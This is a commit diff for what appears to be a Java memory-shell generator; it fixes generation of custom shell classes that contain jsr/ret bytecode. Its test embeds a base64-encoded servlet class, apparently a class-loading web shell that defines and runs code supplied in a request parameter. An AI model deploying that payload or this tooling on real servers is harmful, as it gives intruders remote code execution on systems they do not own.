fix: custom shell with jsr/ret generate failed

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
 
     protected abstract DynamicType.Builder<?> getBuilder();
 
+    protected int getTargetJreVersion() {
+        return shellConfig.getTargetJreVersion();
+    }
+
     protected byte[] postProcessBytes(byte[] classBytes) {
         return classBytes;
     }
@@ -43,7 +47,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
 
         builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
                 .name(shellClassName)
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
+                .visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
 
         try (DynamicType.Unloaded<?> unloaded = builder.make()) {
             byte[] bytes = postProcessBytes(unloaded.getBytes());

generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java

@@ -7,6 +7,10 @@ import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.ClassFileLocator;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.jar.asm.ClassReader;
+import net.bytebuddy.jar.asm.ClassVisitor;
+import net.bytebuddy.jar.asm.Label;
+import net.bytebuddy.jar.asm.MethodVisitor;
+import net.bytebuddy.jar.asm.Opcodes;
 import net.bytebuddy.pool.TypePool;
 import org.apache.commons.lang3.StringUtils;
 
@@ -17,6 +21,7 @@ import java.util.Base64;
  * @since 2025/3/18
  */
 public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
+    private boolean containsSubroutines;
 
     public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
         super(shellConfig, customConfig);
@@ -27,6 +32,7 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
         String shellClassBase64 = shellToolConfig.getShellClassBase64();
         byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
         ClassReader classReader = new ClassReader(classBytes);
+        containsSubroutines = containsSubroutines(classReader);
         String className = classReader.getClassName().replace('/', '.');
         if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
             shellToolConfig.setShellClassName(className);
@@ -43,4 +49,38 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
         return new ByteBuddy()
                 .redefine(typeDescription, compoundLocator);
     }
+
+    @Override
+    protected int getTargetJreVersion() {
+        // Byte Buddy cannot emit a class version newer than Java 5 when the
+        // source bytecode contains legacy jsr/ret subroutines. Keep such
+        // custom classes at Java 5; Java 6+ runtimes can load them as well.
+        return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
+    }
+
+    private static boolean containsSubroutines(ClassReader classReader) {
+        final boolean[] found = {false};
+        classReader.accept(new ClassVisitor(Opcodes.ASM9) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                return new MethodVisitor(Opcodes.ASM9) {
+                    @Override
+                    public void visitJumpInsn(int opcode, Label label) {
+                        if (opcode == Opcodes.JSR) {
+                            found[0] = true;
+                        }
+                    }
+
+                    @Override
+                    public void visitVarInsn(int opcode, int var) {
+                        if (opcode == Opcodes.RET) {
+                            found[0] = true;
+                        }
+                    }
+                };
+            }
+        }, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
+        return found[0];
+    }
 }

generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java

@@ -95,7 +95,7 @@ class CustomShellGeneratorTest {
 
     @Test
     @SneakyThrows
-    void testJakartaServlet(){
+    void testJakartaServlet() {
         byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
         String className = CommonUtil.generateClassName();
         ShellConfig shellConfig = ShellConfig.builder()